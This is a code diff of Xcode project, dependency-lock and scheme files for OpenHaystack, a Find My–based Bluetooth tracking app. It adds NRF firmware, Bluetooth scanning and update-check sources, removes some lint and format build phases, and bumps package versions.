78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */; };
|
||||
78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227125DBC8CE0042B775 /* Accessory.swift */; };
|
||||
78EC227525DBCCA00042B775 /* .swiftlint.yml in Resources */ = {isa = PBXBuildFile; fileRef = 78EC227425DBCCA00042B775 /* .swiftlint.yml */; };
|
||||
78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227625DBDB7E0042B775 /* KeychainController.swift */; };
|
||||
78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */; };
|
||||
9ED440A02C1605EF002574D1 /* OpenHaystackSettingsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 9ED4409F2C1605EF002574D1 /* OpenHaystackSettingsView.swift */; };
|
||||
F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */ = {isa = PBXBuildFile; fileRef = F126102E2600D1D80066A859 /* Slider+LogScale.swift */; };
|
||||
F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */; };
|
||||
F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */; };
|
||||
F1647C1625FF6C61004144D6 /* BluetoothTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F1647C1525FF6C61004144D6 /* BluetoothTests.swift */; };
|
||||
F1647C1B25FF7954004144D6 /* AccessoryNearbyMonitor.swift in Sources */ = {isa = PBXBuildFile; fileRef = F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */; };
|
||||
F16BA9E925E7DB2D00238183 /* NIOSSL in Frameworks */ = {isa = PBXBuildFile; productRef = F16BA9E825E7DB2D00238183 /* NIOSSL */; };
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
@@ -104,16 +115,19 @@
|
||||
025DFEDB248FED250039C718 /* DecryptReports.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DecryptReports.swift; sourceTree = "<group>"; };
|
||||
0298C0C8248F9506003928FE /* AuthKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = AuthKit.framework; path = ../../../../../../../../../../System/Library/PrivateFrameworks/AuthKit.framework; sourceTree = "<group>"; };
|
||||
116B4EEC24A913AA007BA636 /* SavePanel.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = SavePanel.swift; sourceTree = "<group>"; };
|
||||
5A2C9088273425720044407E /* NRF */ = {isa = PBXFileReference; lastKnownFileType = folder; path = NRF; sourceTree = "<group>"; };
|
||||
5A2C908A2734266A0044407E /* DataToHexExtension.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DataToHexExtension.swift; sourceTree = "<group>"; };
|
||||
5A2C908C273429360044407E /* NRFController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NRFController.swift; sourceTree = "<group>"; };
|
||||
5A2C908E273429540044407E /* NRFInstallSheet.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NRFInstallSheet.swift; sourceTree = "<group>"; };
|
||||
78014A2725DC01220089F6D9 /* MicrobitController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MicrobitController.swift; sourceTree = "<group>"; };
|
||||
78014A2A25DC22110089F6D9 /* sample.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = sample.bin; sourceTree = "<group>"; };
|
||||
78014A2E25DC2F100089F6D9 /* pattern_sample.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = pattern_sample.bin; sourceTree = "<group>"; };
|
||||
78023CAA25F7767000B083EF /* ESP32Controller.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ESP32Controller.swift; sourceTree = "<group>"; };
|
||||
78023CAE25F7797400B083EF /* ESP32 */ = {isa = PBXFileReference; lastKnownFileType = folder; path = ESP32; sourceTree = "<group>"; };
|
||||
78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MicrocontrollerTests.swift; sourceTree = "<group>"; };
|
||||
78108B6F248E8FB50007E9C4 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; };
|
||||
78108B6F248E8FB50007E9C4 /* OpenHaystackApp.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackApp.swift; sourceTree = "<group>"; };
|
||||
78108B73248E8FB80007E9C4 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
|
||||
78108B76248E8FB80007E9C4 /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = "<group>"; };
|
||||
78108B79248E8FB80007E9C4 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
|
||||
78108B7B248E8FB80007E9C4 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
78108B82248E8FDD0007E9C4 /* OpenHaystack-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "OpenHaystack-Bridging-Header.h"; sourceTree = "<group>"; };
|
||||
78108B83248E8FDD0007E9C4 /* ReportsFetcher.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ReportsFetcher.h; sourceTree = "<group>"; };
|
||||
@@ -124,6 +138,8 @@
|
||||
781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AnisetteDataManager.swift; sourceTree = "<group>"; };
|
||||
7821DAD025F7B2C10054DC33 /* FileManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FileManager.swift; sourceTree = "<group>"; };
|
||||
7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ESP32InstallSheet.swift; sourceTree = "<group>"; };
|
||||
782853C12755103A00B18EDE /* UpdateCheckController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = UpdateCheckController.swift; sourceTree = "<group>"; };
|
||||
782853C327551B4400B18EDE /* UpdateCheckTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = UpdateCheckTests.swift; sourceTree = "<group>"; };
|
||||
78286C8E25E3AC0400F65511 /* OpenHaystackMail.mailbundle */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = OpenHaystackMail.mailbundle; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
78286C9025E3AC0400F65511 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
78286CAE25E3ACE700F65511 /* OpenHaystackPluginService.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = OpenHaystackPluginService.h; sourceTree = "<group>"; };
|
||||
@@ -152,8 +168,14 @@
|
||||
78EC226525DAE0BE0042B775 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackMainView.swift; sourceTree = "<group>"; };
|
||||
78EC227125DBC8CE0042B775 /* Accessory.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Accessory.swift; sourceTree = "<group>"; };
|
||||
78EC227425DBCCA00042B775 /* .swiftlint.yml */ = {isa = PBXFileReference; lastKnownFileType = text.yaml; path = .swiftlint.yml; sourceTree = "<group>"; };
|
||||
78EC227625DBDB7E0042B775 /* KeychainController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeychainController.swift; sourceTree = "<group>"; };
|
||||
78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LargeButtonStyle.swift; sourceTree = "<group>"; };
|
||||
9ED4409F2C1605EF002574D1 /* OpenHaystackSettingsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackSettingsView.swift; sourceTree = "<group>"; };
|
||||
F126102E2600D1D80066A859 /* Slider+LogScale.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "Slider+LogScale.swift"; sourceTree = "<group>"; };
|
||||
F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothAccessoryScanner.swift; sourceTree = "<group>"; };
|
||||
F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Advertisement.swift; sourceTree = "<group>"; };
|
||||
F1647C1525FF6C61004144D6 /* BluetoothTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothTests.swift; sourceTree = "<group>"; };
|
||||
F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AccessoryNearbyMonitor.swift; sourceTree = "<group>"; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXFrameworksBuildPhase section */
|
||||
@@ -195,6 +217,7 @@
|
||||
78023CAC25F7775300B083EF /* Firmwares */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
5A2C9088273425720044407E /* NRF */,
|
||||
78023CAE25F7797400B083EF /* ESP32 */,
|
||||
78023CAD25F7775A00B083EF /* Microbit */,
|
||||
);
|
||||
@@ -213,7 +236,6 @@
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
78286DDC25E56C9400F65511 /* README.md */,
|
||||
78EC227425DBCCA00042B775 /* .swiftlint.yml */,
|
||||
78108B6E248E8FB50007E9C4 /* OpenHaystack */,
|
||||
78EC226225DAE0BE0042B775 /* OpenHaystackTests */,
|
||||
78286C8F25E3AC0400F65511 /* OpenHaystackMail */,
|
||||
@@ -241,12 +263,11 @@
|
||||
78108B87248E8FF10007E9C4 /* ReportsFetcher */,
|
||||
78EC226E25DBC2FC0042B775 /* HaystackApp */,
|
||||
781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */,
|
||||
78108B6F248E8FB50007E9C4 /* AppDelegate.swift */,
|
||||
78108B6F248E8FB50007E9C4 /* OpenHaystackApp.swift */,
|
||||
0211DBC2249135D600ABB066 /* MapViewController.swift */,
|
||||
116B4EEC24A913AA007BA636 /* SavePanel.swift */,
|
||||
0211DBC3249135D600ABB066 /* MapViewController.xib */,
|
||||
78108B73248E8FB80007E9C4 /* Assets.xcassets */,
|
||||
78108B78248E8FB80007E9C4 /* Main.storyboard */,
|
||||
78108B7B248E8FB80007E9C4 /* Info.plist */,
|
||||
78108B75248E8FB80007E9C4 /* Preview Content */,
|
||||
);
|
||||
@@ -321,6 +342,8 @@
|
||||
78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */,
|
||||
78EC226525DAE0BE0042B775 /* Info.plist */,
|
||||
78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */,
|
||||
F1647C1525FF6C61004144D6 /* BluetoothTests.swift */,
|
||||
782853C327551B4400B18EDE /* UpdateCheckTests.swift */,
|
||||
);
|
||||
path = OpenHaystackTests;
|
||||
sourceTree = "<group>";
|
||||
@@ -328,6 +351,7 @@
|
||||
78EC226E25DBC2FC0042B775 /* HaystackApp */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
F12D5A5E25FA79D600CBBA09 /* Bluetooth */,
|
||||
78023CAC25F7775300B083EF /* Firmwares */,
|
||||
78286D3A25E4017400F65511 /* Mail Plugin */,
|
||||
78EC227025DBC8BB0042B775 /* Views */,
|
||||
@@ -337,6 +361,10 @@
|
||||
787D8AC025DECD3C00148766 /* AccessoryController.swift */,
|
||||
78023CAA25F7767000B083EF /* ESP32Controller.swift */,
|
||||
7821DAD025F7B2C10054DC33 /* FileManager.swift */,
|
||||
F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */,
|
||||
5A2C908A2734266A0044407E /* DataToHexExtension.swift */,
|
||||
5A2C908C273429360044407E /* NRFController.swift */,
|
||||
782853C12755103A00B18EDE /* UpdateCheckController.swift */,
|
||||
);
|
||||
path = HaystackApp;
|
||||
sourceTree = "<group>";
|
||||
@@ -353,6 +381,8 @@
|
||||
78EC227025DBC8BB0042B775 /* Views */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
78F8BB4A261C50D500D9F37F /* Styles */,
|
||||
9ED4409F2C1605EF002574D1 /* OpenHaystackSettingsView.swift */,
|
||||
78286D7625E5114600F65511 /* ActivityIndicator.swift */,
|
||||
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */,
|
||||
78486BEE25DD711E0007ED87 /* PopUpAlertView.swift */,
|
||||
@@ -362,10 +392,29 @@
|
||||
7851F1DC25EE90FA0049480D /* AccessoryMapView.swift */,
|
||||
7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */,
|
||||
78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */,
|
||||
F126102E2600D1D80066A859 /* Slider+LogScale.swift */,
|
||||
5A2C908E273429540044407E /* NRFInstallSheet.swift */,
|
||||
);
|
||||
path = Views;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
78F8BB4A261C50D500D9F37F /* Styles */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */,
|
||||
);
|
||||
path = Styles;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
F12D5A5E25FA79D600CBBA09 /* Bluetooth */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */,
|
||||
F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */,
|
||||
);
|
||||
path = Bluetooth;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXGroup section */
|
||||
|
||||
/* Begin PBXNativeTarget section */
|
||||
@@ -373,9 +422,7 @@
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = 781EB40525DAD7EA00FEAA19 /* Build configuration list for PBXNativeTarget "OpenHaystack" */;
|
||||
buildPhases = (
|
||||
78EC227325DBC9240042B775 /* Run SwiftLint */,
|
||||
F125DE4525F65E0700135D32 /* Run swift-format */,
|
||||
F1D0A05C25F6BBC7004F9326 /* Run clang-format */,
|
||||
781EB3E925DAD7EA00FEAA19 /* Sources */,
|
||||
781EB3F625DAD7EA00FEAA19 /* Frameworks */,
|
||||
781EB3FC25DAD7EA00FEAA19 /* Resources */,
|
||||
@@ -482,10 +529,9 @@
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
78023CAF25F7797400B083EF /* ESP32 in Resources */,
|
||||
781EB3FD25DAD7EA00FEAA19 /* Main.storyboard in Resources */,
|
||||
7899D1D625DE74EE00115740 /* firmware.bin in Resources */,
|
||||
781EB3FE25DAD7EA00FEAA19 /* MapViewController.xib in Resources */,
|
||||
78EC227525DBCCA00042B775 /* .swiftlint.yml in Resources */,
|
||||
5A2C9089273425720044407E /* NRF in Resources */,
|
||||
781EB40025DAD7EA00FEAA19 /* Preview Assets.xcassets in Resources */,
|
||||
781EB40225DAD7EA00FEAA19 /* Assets.xcassets in Resources */,
|
||||
);
|
||||
@@ -512,24 +558,6 @@
|
||||
/* End PBXResourcesBuildPhase section */
|
||||
|
||||
/* Begin PBXShellScriptBuildPhase section */
|
||||
78EC227325DBC9240042B775 /* Run SwiftLint */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
inputFileListPaths = (
|
||||
);
|
||||
inputPaths = (
|
||||
);
|
||||
name = "Run SwiftLint";
|
||||
outputFileListPaths = (
|
||||
);
|
||||
outputPaths = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "if command -v swiftlint >/dev/null; then\n swiftlint autocorrect && swiftlint\nelse\n echo \"warning: SwiftLint not installed, download from https://github.com/realm/SwiftLint\"\nfi\n";
|
||||
};
|
||||
F125DE4525F65E0700135D32 /* Run swift-format */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
@@ -546,7 +574,7 @@
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "if command -v swift-format >/dev/null; then\n swift-format format -r -i \"$SRCROOT\" && swift-format lint -r \"$SRCROOT\"\nelse\n echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
|
||||
shellScript = "if command -v swift-format >/dev/null; then\n swift-format format -i -r \"$SRCROOT\"; swift-format lint -r \"$SRCROOT\"\nelse\n echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
|
||||
};
|
||||
F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
@@ -584,24 +612,6 @@
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "GIT_RELEASE_VERSION=$(git describe --tags --always --dirty)\nCOMMITS=$(git rev-list HEAD | wc -l)\nCOMMITS=$(($COMMITS))\ndefaults write \"${BUILT_PRODUCTS_DIR}/${INFOPLIST_PATH%.*}\" \"CFBundleShortVersionString\" \"${GIT_RELEASE_VERSION#*v}\"\ndefaults write \"${BUILT_PRODUCTS_DIR}/${INFOPLIST_PATH%.*}\" \"CFBundleVersion\" \"${COMMITS}\"\n";
|
||||
};
|
||||
F1D0A05C25F6BBC7004F9326 /* Run clang-format */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
inputFileListPaths = (
|
||||
);
|
||||
inputPaths = (
|
||||
);
|
||||
name = "Run clang-format";
|
||||
outputFileListPaths = (
|
||||
);
|
||||
outputPaths = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "if command -v clang-format >/dev/null; then\n clang-format -i \"$SRCROOT\"/**/*.{h,m}\nelse\n echo \"warning: clang-format not installed\"\nfi\n";
|
||||
};
|
||||
/* End PBXShellScriptBuildPhase section */
|
||||
|
||||
/* Begin PBXSourcesBuildPhase section */
|
||||
@@ -609,6 +619,7 @@
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
5A2C908D273429360044407E /* NRFController.swift in Sources */,
|
||||
781EB43125DADF2B00FEAA19 /* AnisetteDataManager.swift in Sources */,
|
||||
7851F1DD25EE90FA0049480D /* AccessoryMapView.swift in Sources */,
|
||||
7899D1E925DEBF4900115740 /* AccessoryMapAnnotation.swift in Sources */,
|
||||
@@ -617,13 +628,17 @@
|
||||
78286D8C25E5355B00F65511 /* PreviewData.swift in Sources */,
|
||||
781EB3EB25DAD7EA00FEAA19 /* SavePanel.swift in Sources */,
|
||||
7899D1E125DE97E200115740 /* IconSelectionView.swift in Sources */,
|
||||
5A2C908F273429540044407E /* NRFInstallSheet.swift in Sources */,
|
||||
78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */,
|
||||
78D9B80625F7CF60009B9CE8 /* ManageAccessoriesView.swift in Sources */,
|
||||
78486BEF25DD711E0007ED87 /* PopUpAlertView.swift in Sources */,
|
||||
78014A2925DC08580089F6D9 /* MicrobitController.swift in Sources */,
|
||||
F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */,
|
||||
F1647C1B25FF7954004144D6 /* AccessoryNearbyMonitor.swift in Sources */,
|
||||
78286D1F25E3D8B800F65511 /* ALTAnisetteData.m in Sources */,
|
||||
781EB3EC25DAD7EA00FEAA19 /* DecryptReports.swift in Sources */,
|
||||
78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */,
|
||||
5A2C908B2734266A0044407E /* DataToHexExtension.swift in Sources */,
|
||||
78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */,
|
||||
7821DAD125F7B2C10054DC33 /* FileManager.swift in Sources */,
|
||||
78286E0225E66F9400F65511 /* AccessoryListEntry.swift in Sources */,
|
||||
@@ -632,11 +647,16 @@
|
||||
7821DAD325F7C39A0054DC33 /* ESP32InstallSheet.swift in Sources */,
|
||||
781EB3F125DAD7EA00FEAA19 /* FindMyKeyDecoder.swift in Sources */,
|
||||
787D8AC125DECD3C00148766 /* AccessoryController.swift in Sources */,
|
||||
781EB3F225DAD7EA00FEAA19 /* AppDelegate.swift in Sources */,
|
||||
9ED440A02C1605EF002574D1 /* OpenHaystackSettingsView.swift in Sources */,
|
||||
78023CAB25F7767000B083EF /* ESP32Controller.swift in Sources */,
|
||||
F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */,
|
||||
781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */,
|
||||
781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */,
|
||||
78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */,
|
||||
781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */,
|
||||
781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */,
|
||||
782853C22755103A00B18EDE /* UpdateCheckController.swift in Sources */,
|
||||
F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */,
|
||||
78286D5625E401F000F65511 /* MailPluginManager.swift in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
@@ -655,6 +675,8 @@
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
78023CB125F7841F00B083EF /* MicrocontrollerTests.swift in Sources */,
|
||||
782853C427551B4400B18EDE /* UpdateCheckTests.swift in Sources */,
|
||||
F1647C1625FF6C61004144D6 /* BluetoothTests.swift in Sources */,
|
||||
78EC226425DAE0BE0042B775 /* OpenHaystackTests.swift in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
@@ -674,17 +696,6 @@
|
||||
};
|
||||
/* End PBXTargetDependency section */
|
||||
|
||||
/* Begin PBXVariantGroup section */
|
||||
78108B78248E8FB80007E9C4 /* Main.storyboard */ = {
|
||||
isa = PBXVariantGroup;
|
||||
children = (
|
||||
78108B79248E8FB80007E9C4 /* Base */,
|
||||
);
|
||||
name = Main.storyboard;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXVariantGroup section */
|
||||
|
||||
/* Begin XCBuildConfiguration section */
|
||||
78108B7D248E8FB80007E9C4 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
@@ -813,7 +824,7 @@
|
||||
DEVELOPMENT_TEAM = "";
|
||||
ENABLE_HARDENED_RUNTIME = NO;
|
||||
ENABLE_PREVIEWS = YES;
|
||||
EXCLUDED_ARCHS = "arm64e arm64";
|
||||
EXCLUDED_ARCHS = "";
|
||||
INFOPLIST_FILE = OpenHaystack/Info.plist;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
@@ -840,7 +851,7 @@
|
||||
DEVELOPMENT_TEAM = "";
|
||||
ENABLE_HARDENED_RUNTIME = NO;
|
||||
ENABLE_PREVIEWS = YES;
|
||||
EXCLUDED_ARCHS = "arm64e arm64";
|
||||
EXCLUDED_ARCHS = "";
|
||||
INFOPLIST_FILE = OpenHaystack/Info.plist;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>FILEHEADER</key>
|
||||
<string>
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//</string>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -1,34 +1,60 @@
|
||||
{
|
||||
"object": {
|
||||
"pins": [
|
||||
{
|
||||
"package": "swift-crypto",
|
||||
"repositoryURL": "https://github.com/apple/swift-crypto.git",
|
||||
"state": {
|
||||
"branch": null,
|
||||
"revision": "9b9d1868601a199334da5d14f4ab2d37d4f8d0c5",
|
||||
"version": "1.0.2"
|
||||
}
|
||||
},
|
||||
{
|
||||
"package": "swift-nio",
|
||||
"repositoryURL": "https://github.com/apple/swift-nio.git",
|
||||
"state": {
|
||||
"branch": null,
|
||||
"revision": "6d3ca7e54e06a69d0f2612c2ce8bb8b7319085a4",
|
||||
"version": "2.26.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"package": "swift-nio-ssl",
|
||||
"repositoryURL": "https://github.com/apple/swift-nio-ssl",
|
||||
"state": {
|
||||
"branch": null,
|
||||
"revision": "bbb38fbcbbe9dc4665b2c638dfa5681b01079bfb",
|
||||
"version": "2.10.4"
|
||||
}
|
||||
"originHash" : "bfeb00ee66eb6db71ff8535b5ea7585725e9fe73d97f066170be55b745d346e9",
|
||||
"pins" : [
|
||||
{
|
||||
"identity" : "swift-atomics",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/apple/swift-atomics.git",
|
||||
"state" : {
|
||||
"revision" : "cd142fd2f64be2100422d658e7411e39489da985",
|
||||
"version" : "1.2.0"
|
||||
}
|
||||
]
|
||||
},
|
||||
"version": 1
|
||||
},
|
||||
{
|
||||
"identity" : "swift-collections",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/apple/swift-collections.git",
|
||||
"state" : {
|
||||
"revision" : "ee97538f5b81ae89698fd95938896dec5217b148",
|
||||
"version" : "1.1.1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "swift-crypto",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/apple/swift-crypto.git",
|
||||
"state" : {
|
||||
"revision" : "ddb07e896a2a8af79512543b1c7eb9797f8898a5",
|
||||
"version" : "1.1.7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "swift-nio",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/apple/swift-nio.git",
|
||||
"state" : {
|
||||
"revision" : "9428f62793696d9a0cc1f26a63f63bb31da0516d",
|
||||
"version" : "2.66.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "swift-nio-ssl",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/apple/swift-nio-ssl",
|
||||
"state" : {
|
||||
"revision" : "2b09805797f21c380f7dc9bedaab3157c5508efb",
|
||||
"version" : "2.27.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "swift-system",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/apple/swift-system.git",
|
||||
"state" : {
|
||||
"revision" : "f9266c85189c2751589a50ea5aec72799797e471",
|
||||
"version" : "1.3.0"
|
||||
}
|
||||
}
|
||||
],
|
||||
"version" : 3
|
||||
}
|
||||
|
||||
@@ -38,6 +38,15 @@
|
||||
ReferencedContainer = "container:OpenHaystack.xcodeproj">
|
||||
</BuildableReference>
|
||||
<SkippedTests>
|
||||
<Test
|
||||
Identifier = "MicrocontrollerTests/testESP32Deploy()">
|
||||
</Test>
|
||||
<Test
|
||||
Identifier = "MicrocontrollerTests/testFindESP32Port()">
|
||||
</Test>
|
||||
<Test
|
||||
Identifier = "MicrocontrollerTests/testMicrobitDeploy()">
|
||||
</Test>
|
||||
<Test
|
||||
Identifier = "OpenHaystackTests/testPluginInstallation()">
|
||||
</Test>
|
||||
@@ -65,6 +74,12 @@
|
||||
ReferencedContainer = "container:OpenHaystack.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
<CommandLineArguments>
|
||||
<CommandLineArgument
|
||||
argument = "-stopUpdateCheck"
|
||||
isEnabled = "YES">
|
||||
</CommandLineArgument>
|
||||
</CommandLineArguments>
|
||||
</LaunchAction>
|
||||
<ProfileAction
|
||||
buildConfiguration = "Release"
|
||||
|
||||
@@ -1,13 +1,29 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
